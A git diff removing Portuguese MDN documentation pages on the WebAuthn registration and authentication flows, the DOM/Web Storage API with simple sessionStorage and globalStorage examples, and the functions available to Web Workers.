- <li><strong>Servidor Envia Desafio, Informação do Utilziador, e Envio de Informação de Confiança </strong>- The server sends a challenge, user information, and relying party information to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/create">create()</a> call, typically with little or no modification and returns a <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> that will resolve to a {{domxref("PublicKeyCredential")}} containing an {{domxref("AuthenticatorAttestationResponse")}}. <strong>Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the registration process.</strong></li>
- <li><strong>Navegador Chama o authenticatorMakeCredential() no Autenticador</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li>
- <li><strong>Autenticador Cria Novo Par de Chave e Certificação </strong>- Before doing anything, the authenticator will typically ask for some form of user verficiation. This could be entering a PIN, using a fingerprint, doing an iris scan, etc. to prove that the user is present and consenting of the registration. After the user verification, the authenticator will create a new asymmetric key pair and safely store the private key for future reference. The public key will become part of the attestation, which the authtenticator will sign over with a private key that was burned into the authenticator during its manufacturing process and that has a certificate chain that can be validated back to a root of trust.</li>
- <li><strong>Autenticador Devolve os Dados para o Navegador </strong>- The new public key, a globally unique credential id, and other attestation data are returned to the browser where they become the attestationObject.</li>
- <li><strong>Navegador Cria os Dados Finais, a Aplicação envia a resposta para o Servidor</strong> - The create() Promise resolves to an {{domxref("PublicKeyCredential")}}, which has a {{domxref("PublicKeyCredential.rawId")}} that is the globally unique credential id along with a response that is the {{domxref("AuthenticatorAttestationResponse")}} containing the {{domxref("AuthenticatorResponse.clientDataJSON")}} and {{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).</li>
- <li><strong>Servidor Valida e Finaliza o Registo</strong> - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include:
- <ol>
- <li>Verifying that the challenge is the same as the challenge that was sent</li>
- <li>Ensuring that the origin was the origin expected</li>
- <li>Validating that the signature over the clientDataHash and the attestation using the certificate chain for that specific model of authenticator</li>
- </ol>
- A complete list of validation steps <a href="https://w3c.github.io/webauthn/#registering-a-new-credential">can be found in the WebAuthn specification</a>. Assuming that the checks pan out, the server will store the new public key associated with the user's account for future use -- that is, whenever the user desires to use the public key for authentication.</li>
-</ol>
-
-<h3 id="Autenticação">Autenticação</h3>
-
-<p>After a user has registered with WebAuthn, they can subsequently authenticate (a.k.a. - login or sign-in) with the service. The authentication flow looks similar to the registration flow, and the illustration of actions in Figure 2 may be recognizable as being similar to the illustration of registration actions in Figure 1. The primary differences between registration and authentication are that: 1) authentication doesn't require user or relying party information; and 2) authentication creates an assertion using the previously generated key pair for the service rather than creating an attestation with the key pair that was burned into the authenticator during manufacturing. Again, the discription of authentication below is a broad overview rather than getting into all the options and features of WebAuthn. The specific options for authenticating can be found in the {{domxref("PublicKeyCredentialRequestOptions")}} dictionary, and the resulting data can be found in the {{domxref("PublicKeyCredential")}} interface (where {{domxref("PublicKeyCredential.response")}} is the {{domxref("AuthenticatorAssertionResponse")}} interface) .</p>
-
-<p><img alt="WebAuthn authentication component and dataflow diagram" src="https://mdn.mozillademos.org/files/15802/MDN%20Webauthn%20Authentication%20(r1).png" style="height: 527px; width: 1067px;"></p>
-
-<p><em>Figure 2 - similar to Figure 1, a diagram showing the sequence of actions for a WebAuthn authentication and the essential data associated with each action.</em></p>
-
-<ol start="0">
- <li><strong>Auyenticação dos Pedidos da Aplicação</strong> - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of WebAuthn.</li>
- <li><strong>Servidor Envia Desafio </strong>- The server sends a challenge JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of WebAuthn. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/get">get()</a> call, typically with little or no modification. <strong>Note that it is absolutely critical that the challenge be a large buffer of random information (e.g. - more than 100 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.</strong></li>
- <li><strong>Navegador Chama o authenticatorGetCredential()  no Autenticador</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the create() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li>
- <li><strong>Autenticador Cria uma Certificação </strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li>
- <li><strong>Autenticador Devolve os Dados para o Navegador</strong> -  The authenticator returns the authenticatorData and assertion signature back to the browser.</li>
- <li><strong>Navegador Cria os Dados Finais, a Aplicação envia a resposta para o Servidor </strong>- The browser resolves the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.</li>
- <li><strong>Servidor Valida e Finaliza a Autenticação </strong>- Upon receiving the result of the authentication request, the server performs validation of the response such as:
- <ol>
- <li>Using the public key that was stored during the registration request to validate the signature by the authenticator.</li>
- <li>Ensuring that the challenge that was signed by the authenticator matches the challenge that was generated by the server.</li>
- <li>Checking that the Relying Party ID is the one expected for this service.</li>
- </ol>
- A full list of the <a href="https://w3c.github.io/webauthn/#verifying-assertion">steps for validating an assertion can be found in the WebAuthn specification</a>. Assuming the validation is successful, the server will note that the user is now authenticated. This is outside the scope of the WebAuthn specification, but one option would be to drop a new cookie for the user session.</li>
-</ol>
-
-<h2 id="Interfaces">Interfaces</h2>
-
-<dl>
- <dt>{{domxref("CredentialsContainer")}}</dt>
- <dd>WebAuthn extends the <a href="/en-US/docs/Web/API/Credential_Management_API">Credential Management API</a>'s <a href="/en-US/docs/Web/API/CredentialsContainer/create">create()</a> and <a href="/en-US/docs/Web/API/CredentialsContainer/get">get()</a> methods to take a new option: publicKey. When the publicKey option is passed to create() and / or get(), the Credential Management API will create a new public key pair or get an authentication for a key pair, respectively.</dd>
- <dt>{{domxref("PublicKeyCredential")}}</dt>
- <dd>A credential for logging in to a service using an un-phishable and data-breach resistant asymmetric key pair instead of a password.</dd>
- <dt>{{domxref("AuthenticatorResponse")}}</dt>
- <dd>Part of the PublicKeyCredential, the AuthenticatorResponse includes information from the browser (such as the challenge and origin); as well as information from the authenticator such as an AuthenticatorAttestationResponse (for new credentials) or an AuthenticatorAssertionResponse (when authenticating with existing credentials).</dd>
- <dt>{{domxref("AuthenticatorAttestationResponse")}}</dt>
- <dd>When a PublicKeyCredential has been created with the <a href="/en-US/docs/Web/API/CredentialsContainer/create">create()</a> call, it will include an AuthenticatorAttestationResponse. This is the authenticator's way of providing a cryptographic root of trust for the new key pair that has been generated.</dd>
- <dt>{{domxref("AuthenticatorAssertionResponse")}}</dt>
- <dd>When a PublicKeyCredential is the result of a <a href="/en-US/docs/Web/API/CredentialsContainer/get">get()</a> call, it will include an AuthenticatorAssertionResponse. This is the authenticator's way of proving to a service that it has the key pair and that the authentication request is valid and approved.</dd>
-</dl>
-
-<h2 id="Opções">Opções</h2>
-
-<dl>
- <dt>{{domxref("PublicKeyCredentialCreationOptions")}}</dt>
- <dd>The options for creating a credential via <a href="/en-US/docs/Web/API/CredentialsContainer/create">navigator.credentials.create() </a></dd>
- <dt>{{domxref("PublicKeyCredentialRequestOptions")}}</dt>
- <dd>The options for using a credential via <a href="/en-US/docs/Web/API/CredentialsContainer/get">navigator.credentials.get() </a></dd>
-</dl>
-
-<h2 id="Exemplos">Exemplos</h2>
-
-<ul>
- <li><a class="external" href="https://webauthn.bin.coffee/">Mozilla Demo</a> website and it's <a href="https://github.com/jcjones/webauthn.bin.coffee">source code</a>.</li>
- <li><a class="external" href="http://webauthndemo.appspot.com/">Google Demo</a> website and it's <a href="https://github.com/google/webauthndemo">source code</a>.</li>
-</ul>
-
-<h2 id="Especificações">Especificações</h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th scope="col">Especificação</th>
- <th scope="col">Estado</th>
- <th scope="col">Comentário</th>
- </tr>
- <tr>
- <td>{{SpecName('WebAuthn')}}</td>
- <td>{{Spec2('WebAuthn')}}</td>
- <td>Definção inicial.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Compatibilidade_do_Navegador">Compatibilidade do Navegador</h2>
-
-<div>
-<div>
-
-
-<p>{{Compat("api.PublicKeyCredential")}}</p>
-</div>
-</div>
-
-<h2 id="Consulte_também">Consulte também:</h2>
-
-<ul>
- <li><a href="https://www.youtube.com/watch?v=UNI_Ad-9gX8">WebAuthentication and WebPayment demo</a> num dispositivo Android</li>
-</ul>
diff --git a/files/pt-pt/web/api/web_storage_api/index.html b/files/pt-pt/web/api/web_storage_api/index.html
deleted file mode 100644
index 9a4332b272..0000000000
--- a/files/pt-pt/web/api/web_storage_api/index.html
+++ /dev/null
@@ -1,109 +0,0 @@
----
-title: DOM Storage
-slug: Web/API/Web_Storage_API
-original_slug: DOM/Storage
----
-<p>{{ ApiRef() }}</p>
-<h3 id="Summary" name="Summary">Resumo</h3>
-<p>DOM Storage é o nome dado ao conjunto de características de armazenamento relacionadas (<a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/#storage">storage-related features</a>) inicialmente apresentadas na especificação <a class="external" href="http://www.whatwg.org/specs/web-apps/current-work/" title="http://www.whatwg.org/specs/web-apps/current-work/">Web Applications 1.0</a>, e agora dividida em sua própria especificação <a class="external" href="http://dev.w3.org/html5/webstorage/" title="http://dev.w3.org/html5/webstorage/">W3C Web Storage</a>. DOM Storage foi desenhado para proporcionar uma alternativa mais segura e fácil de usar, para o armazenamento de informações em cookies. Atualmente ela está disponível somente nos navegadores baseados no Mozilla e WebKit, começando notavelmente com o <a class="internal" href="/pt/Firefox_2_para_desenvolvedores" title="pt/Firefox 2 para desenvolvedores">Firefox 2</a> e o <a class="external" href="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html" title="http://developer.apple.com/safari/library/documentation/iPhone/Conceptual/SafariJSDatabaseGuide/Name-ValueStorage/Name-ValueStorage.html">Safari 4</a>.</p>
-<div class="note">
- <strong>Nota:</strong> DOM Storage não é o mesmo que <a href="/en/Storage" title="en/Storage">mozStorage</a> (Interface XPCOM da Mozilla para o SQLite) ou <a href="/en/Session_store_API" title="en/Session_store_API">Session store API</a> (uma ferramenta de armazenamento <a href="/en/XPCOM" title="en/XPCOM">XPCOM</a> para uso de extensões).</div>
-<h3 id="Description" name="Description">Descrição</h3>
-<p>O mecanismo DOM Storage é um meio através do qual pares de strings de chaves/valores podem ser armazenados com segurança e mais tarde recuperados para uso.  A meta desta adição é proporcionar um meio compreensível através do qual aplicações interativas possam ser construídas (incluindo habilidades avançadas, tal como ser capaz de trabalhar "offline" por períodos de tempo maiores).</p>
-<p>Atualmente, somente navegadores baseados no Mozilla, Internet Explorer 8 beta 2 e Safari (não outros navegadores baseados em webkit, por exemplo, o Google Chrome) proporcionam um trabalho de implementação da especificação do DOM Storage. O Internet Explorer anterior a versão 8 tem uma característica similar chamada "<a class="external" href="http://msdn.microsoft.com/en-us/library/ms531424(VS.85).aspx">userData behavior</a>" que permite guardar dados através de múltiplas sessões do navegador.</p>
-<p>Dom Storage é útil porque não existem métodos diretamente nos navegadores, bons para guardar quantidades de dados razoáveis por qualquer período de tempo. Os cookies do navegador (<a class="external" href="http://en.wikipedia.org/wiki/HTTP_cookie">Browser cookies</a>) tem uma capacidade limitada e não proporcionam suporte para organizar dados armazenados, e outros métodos (tal como <a class="external" href="http://www.macromedia.com/support/documentation/en/flashplayer/help/help02.html">Flash Local Storage</a>) que requerem um plugin externo.</p>
-<p>Umas dos primeiros aplicativos públicos a fazer uso da nova funcionalidade DOM Storage (em adição ao userData Behavior do Internet Explorer) foi o <a class="external" href="http://aaronboodman.com/halfnote/">halfnote</a> (um aplicativo de tomada de notas) escrito por <a class="external" href="http://aaronboodman.com/">Aaron Boodman</a>. Em seu aplicativo, Aaron simultaneamente salvava notas no servidor (quando a conexão a internet estava disponível) e em um armazenamento local de dados. Isto permitia ao usuário escrever seguramente, cópias de notas mesmo com uma conexão esporádica à internet.</p>
-<p>Embora o conceito e implementação apresentados no halfnote seja comparativamente simples, sua criação mostra a possibilidade para uma nova geração de aplicativos web que sejam utilizáveis tanto online quanto offline.</p>
-<h3 id="Reference" name="Reference">Referência</h3>
-<p>A seguir vem objetos globais que existem como propriedades de todos os <a href="/en/DOM/window" title="en/DOM/window"><code>window</code> object</a>. Isto significa que eles podem ser acessados por <code>sessionStorage</code> ou <code>window.sessionStorage</code>. (Isto é importante porque você pode então usar IFrames para armazenar, ou acessar, dados adicionais, além do que está imediatamente incluído em sua página).</p>
-<h4 id="sessionStorage" name="sessionStorage"><code>Storage</code></h4>
-<p>Este é um construtor (<code>Storage</code>) para todas as instâncias Storage (<code>sessionStorage</code> e <code>globalStorage[location.host]).</code> <code>Storage.prototype.removeKey = function(key){ this.removeItem(this.key(key)) }</code> assim configuradao, pode ser acessado como <code>localStorage.removeKey e sessionStorage.removeKey</code>.</p>
-<p><code>Itens globalStorage</code> não são instâncias de <code>Storage</code>, e sim uma instância de <code>StorageObsolete</code>.</p>
-<p><code>Storage</code> é definido pelo WhatWG <a class="external" href="http://dev.w3.org/html5/webstorage/#storage-0" title="http://dev.w3.org/html5/webstorage/#storage-0">Storage Interface</a> como:</p>
-<pre class="eval">interface <dfn>Storage</dfn> {
- readonly attribute unsigned long <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-length" title="dom-Storage-length">length</a>;
- [IndexGetter] DOMString <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-key" title="dom-Storage-key">key</a>(in unsigned long index);
- [NameGetter] DOMString <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-getitem" title="dom-Storage-getItem">getItem</a>(in DOMString key);
- [NameSetter] void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-setitem" title="dom-Storage-setItem">setItem</a>(in DOMString key, in DOMString data);
- [NameDeleter] void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-removeitem" title="dom-Storage-removeItem">removeItem</a>(in DOMString key);
- void <a class="external" href="http://dev.w3.org/html5/webstorage/#dom-storage-clear" title="dom-Storage-clear">clear</a>();
-};</pre>
-<p> </p>
-<h4 id="sessionStorage" name="sessionStorage"><code>sessionStorage</code></h4>
-<p>Este é um objeto global (<code>sessionStorage</code>) que mantém uma área de armazenamento disponível enquanto durar a sessão da página. Uma sessão de página dura enquanto o navegador estiver aberto e continua mesmo sobre recarregamentos e restaurações. Abrindo uma página em uma nova aba ou janela causará o início de uma nova sessão.</p>
-<pre class="eval">// Save data to a the current session's store
-sessionStorage.username = "John";
-
-// Access some stored data
-alert( "username = " + sessionStorage.username );
-</pre>
-<p>O objeto <code>sessionStorage</code> é útil para guardar dados temporários que devem ser salvos e restaurados se o navegador for atualizado acidentalmente.</p>
-<p>{{ fx_minversion_note("3.5", "Nas versões anteriores ao Firefox 3.5, os dados em sessionStorage não eram restaurados automaticamente depois de recuperar-se de uma quebra no navegador. A partir do Firefox 3.5, isto funciona como na especificação.") }}</p>
-<p><strong>Exemplos:</strong></p>
-<p>Autosalvar o conteúdo de uma campo de texto, e se o navegador for atualizado acidentalmente , restaurar o conteúdo do campo de texto, não tendo perdas na escrita.</p>
-<pre class="eval"> // Get the text field that we're going to track
- var field = document.getElementById("field");
-
- // See if we have an autosave value
- // (this will only happen if the page is accidentally refreshed)
- if ( sessionStorage.autosave ) {
- // Restore the contents of the text field
- field.value = sessionStorage.autosave;
- }
-
- // Check the contents of the text field every second
- setInterval(function(){
- // And save the results into the session storage object
- sessionStorage.autosave = field.value;
- }, 1000);
-</pre>
-<p><strong>Mais informações:</strong></p>
-<ul>
- <li><a class="external" href="http://dev.w3.org/html5/webstorage/#the-sessionstorage-attribute" title="http://dev.w3.org/html5/webstorage/#the-sessionstorage-attribute">sessionStorage specification</a></li>
-</ul>
-<h4 id="globalStorage" name="globalStorage"><code>globalStorage</code></h4>
-<p>{{ Non-standard_header() }} Este é um objeto global (<code>globalStorage</code>) que mantém múltiplas áreas de armazenamento privadas que podem ser usadas para guardar dados por um longo período de tempo (por exemplo, sobre múltiplas láginas e sessões do navegador).</p>
-<div class="warning">
- Nota: <code>globalStorage</code> não é uma instância de <code>Storage</code>, mas uma instância <code>StorageList</code> contendo instâncias <code>StorageObsolete</code>.</div>
-<pre class="eval">// Save data that only scripts on the mozilla.org domain can access
-globalStorage['mozilla.org'].snippet = "&lt;b&gt;Hello&lt;/b&gt;, how are you?";
-</pre>
-<p>Especificamente, o objeto <code>globalStorage</code> fornece acesso a um número de diferentes objetos de armazenamento em que os dados sejam armazenados. Por exemplo, se construirmos uma página web que use <code>globalStorage</code> em seu domínio (developer.mozilla.org) é necessário termos o objeto de armazenamento a seguir disponível para nós:</p>
-<ul>
- <li><code>globalStorage{{ mediawiki.external('\'developer.mozilla.org\'') }}</code> - Todas as páginas web com o subdomínio developer.mozilla.org podem tanto ler quanto escrever dados neste objeto de armazenamento.</li>
-</ul>
-<p>{{ Fx_minversion_note(3, "O Firefox 2 passou a permitir acesso aos objetos de armazenamento superiores ao documento corrente na hierarquia do domínio. Por razões de segurança isto não é mais permitido no Firefox 3. Além disso, a proposta de adição ao HTML 5 foi removida da especificação do HTML 5 em favor de <code>localStorage</code>, que foi implementado no Firefox 3.5.") }}</p>
-<p><strong>Exemplos:</strong></p>
-<p>Todos estes exemplos requerem que você tenha uns script inserido (com o código seguinte) em todas as páginas que você quiser ver o resultado.</p>
-<p>Lembrar o nome de usuário para o subdomínio particular que está sendo visitado:</p>
-<pre class="eval"> globalStorage['developer.mozilla.org'].username = "John";
-</pre>
-<p>Manter o número de vezes que um usuário visitou todas as páginas do seu domínio:</p>
-<pre class="eval"> // parseInt must be used since all data is stored as a string
- globalStorage['mozilla.org'].visits =
- parseInt( globalStorage['mozilla.org'].visits || 0 ) + 1;
-</pre>
-<h4 id="globalStorage" name="globalStorage"><code>localStorage</code></h4>
-<p><code>localStorage</code> é o mesmo que <code>globalStorage[location.hostname]</code>, com a exceção de ser projetado para a origem do HTML 5 (esquema + nome do host + porta não padrão) e <code>localStorage</code> é uma instância de <code>Storage</code> diferente de <code>globalStorage[location.hostname]</code> que é uma instância de <code>StorageObsolete</code>. Por exemplo, <a class="external" href="http://example.com" rel="freelink">http://example.com</a> não está disponível para acessar o mesmo objeto <code>localStorage</code> que <a class="link-https" href="https://example.com" rel="freelink">https://example.com</a> mas eles podem acessar o mesmo item <code>globalStorage</code>. <code>localStorage</code> é uma interface padrão enquanto <code>globalStorage</code> não é padrão. <code>localStorage</code> foi adicionada ao Firefox 3.5.</p>
-<p>Por favor, note que configurar a propriedade <code>globalStorage[location.hostname]</code> <strong>não</strong> a configura em <code>localStorage</code> e por extensão <code>Storage.prototype</code> não afeta itens <code>globalStorage</code>, somente extendendo o que <code>StorageObsolete.prototype</code> faz.</p>
-<div class="note">
- <strong>Nota:</strong> Quando o navegador entra em modo de navegação privada, um novo banco de dados temporário é criado para guardar dados de armazenamento local; este banco de dados é vazio, e é jogado fora qunado o modo de navegação privado é desativado.</div>
-<h3 id="More_information" name="More_information">Mais informações</h3>
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/webstorage/" title="http://www.w3.org/TR/webstorage/">Web Storage</a> (W3C Web Apps Working Group)</li>
- <li><a class="external" href="http://kb.mozillazine.org/Dom.storage.enabled">Enable/Disable DOM Storage in Firefox or SeaMonkey</a></li>
-</ul>
-<h3 id="Examples" name="Examples">Exemplos</h3>
-<ul>
- <li><a class="external" href="http://channy.creation.net/work/firefox/domstorage/">Basic DOMStorage Examples</a> - Quebrado no Firefox 3 pelo uso de globalStorage em um nível de domínio acima do domínio atual, o que não é permitido no Firefox 3.</li>
- <li><a class="external" href="http://aaronboodman.com/halfnote/">halfnote</a> - (exibido como quebrado no Firefox 3) Aplicativo de escrita de notas que usa DOM Storage.</li>
- <li><a class="external" href="http://noteboard.eligrey.com/" title="http://noteboard.eligrey.com/">Noteboard</a> - Aplicativo de escrita de notas que não armazena dados em um servidor. Todos os documentos são armazenados localmente. A tecla tab também trabalha na indentação de texto.</li>
- <li><a class="external" href="http://www.eligrey.com/projects/jdata/" title="http://www.eligrey.com/projects/jdata/">jData</a> - Um objeto de interface localStorage compartilhado que pode ser acessado através de qualquer website na internet e trabalha no Firefox 3+, Webkit 3.1.2+ nightlies e IE8. É como uma pseudo-globalStorage[""] em que o acesso a escrita precisa de confirmação do usuário.</li>
-</ul>
-<h3 id="Related" name="Related">Relacionado</h3>
-<ul>
- <li><a class="external" href="http://en.wikipedia.org/wiki/HTTP_cookie">HTTP cookies</a> (<code><a href="/en/DOM/document.cookie" title="en/DOM/document.cookie">document.cookie</a></code>)</li>
- <li><a class="external" href="http://www.macromedia.com/support/documentation/en/flashplayer/help/help02.html">Flash Local Storage</a></li>
- <li><a class="external" href="http://msdn2.microsoft.com/en-us/library/ms531424.aspx">Internet Explorer userData behavior</a></li>
-</ul>
-<p>{{ languages( { "en": "en/DOM/Storage", "es": "es/DOM/Almacenamiento", "fr": "fr/DOM/Storage", "ja": "ja/DOM/Storage", "pl": "pl/DOM/Storage", "zh-cn": "cn/DOM/Storage" } ) }}</p>
diff --git a/files/pt-pt/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html b/files/pt-pt/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html
deleted file mode 100644
index 14e44860a1..0000000000
--- a/files/pt-pt/web/api/web_workers_api/functions_and_classes_available_to_workers/index.html
+++ /dev/null
@@ -1,443 +0,0 @@
----
-title: Funções e classes disponíveis para os Workers da Web
-slug: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers
-tags:
- - Referencia
- - Web
-translation_of: Web/API/Web_Workers_API/Functions_and_classes_available_to_workers
----
-<p>In addition to the standard <a href="/en-US/docs/Web/JavaScript">JavaScript</a> set of functions (such as {{jsxref("String")}}, {{jsxref("Array")}}, {{jsxref("Object")}}, {{jsxref("JSON")}}, etc), there are a variety of functions available from the DOM to workers. This article provides a list of those.</p>
-
-<p><strong>Workers run in another global context, {{domxref("DedicatedWorkerGlobalScope")}}, different from the current window</strong>. By default, methods and properties of {{domxref("Window")}} are not available to them, but {{domxref("DedicatedWorkerGlobalScope")}}, like <code>Window</code>, implements {{domxref("WindowTimers")}} and {{domxref("WindowBase64")}}.</p>
-
-<h2 id="Comparação_das_propriedades_e_métodos_de_diferentes_tipos_de_workers">Comparação das propriedades e métodos de diferentes tipos de <em>workers</em></h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Função</td>
- <td class="header">Workers dedicados</td>
- <td class="header">Shared workers</td>
- <td class="header">Service workers</td>
- <td class="header">Chrome workers {{Non-standard_inline}}</td>
- <td class="header">Outside workers</td>
- </tr>
- <tr>
- <td>{{domxref("WindowBase64.atob", "atob()")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("Window")}}</td>
- </tr>
- <tr>
- <td>{{domxref("WindowBase64.btoa", "btoa()")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("Window")}}</td>
- </tr>
- <tr>
- <td>{{domxref("WindowTimers.clearInterval", "clearInterval()")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("Window")}}</td>
- </tr>
- <tr>
- <td>{{domxref("WindowTimers.clearTimeout", "clearTimeout()")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("Window")}}</td>
- </tr>
- <tr>
- <td>{{domxref("Window.dump()", "dump()")}} {{non-standard_inline}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("Window")}}</td>
- </tr>
- <tr>
- <td>{{domxref("WindowTimers.setInterval", "setInterval()")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("Window")}}</td>
- </tr>
- <tr>
- <td>{{domxref("WindowTimers.setTimeout", "setTimeout()")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("Window")}}</td>
- </tr>
- <tr>
- <td>{{domxref("WorkerGlobalScope.importScripts", "importScripts()")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>no</td>
- </tr>
- <tr>
- <td>{{domxref("WorkerGlobalScope.close", "close()")}} {{non-standard_inline}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, on {{domxref("WorkerGlobalScope")}}</td>
- <td>yes, but is a no-op.</td>
- <td>Unknown</td>
- <td>no</td>
- </tr>
- <tr>
- <td>{{domxref("DedicatedWorkerGlobalScope.postMessage", "postMessage()")}}</td>
- <td>yes, on {{domxref("DedicatedWorkerGlobalScope")}}</td>
- <td>no</td>
- <td>no</td>
- <td>Unknown</td>
- <td>no</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="APIs_disponíveis_nos_workers">APIs disponíveis nos <em>workers</em></h2>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <td class="header">Função</td>
- <td class="header">Funcionalidade</td>
- <td class="header">Suporte no Gecko (Firefox)</td>
- <td class="header">Support in IE</td>
- <td class="header">Support in Blink (Chrome and Opera)</td>
- <td class="header">Support in WebKit (Safari)</td>
- </tr>
- <tr>
- <td>{{domxref("Broadcast_Channel_API","Broadcast Channel API")}}</td>
- <td>Allows simple communication between {{glossary("browsing context", "browsing contexts")}} (that is <em>windows</em>, <em>tabs</em>, <em>frames</em>, or <em>iframes</em>) with the same {{glossary("origin")}} (usually pages from the same site).</td>
- <td>{{ CompatGeckoDesktop(38)}}</td>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
- </tr>
- <tr>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{domxref("Cache", "Cache")}}</span></td>
- <td>Cache API<span style="background-color: rgba(212, 221, 228, 0.14902);"> provides the ability to programmatically</span> control cache storage associated with current origin.</td>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatVersionUnknown}}</span></td>
- <td><span style="background-color: rgba(212, 221, 228, 0.14902);">{{CompatNo}}</span></td>
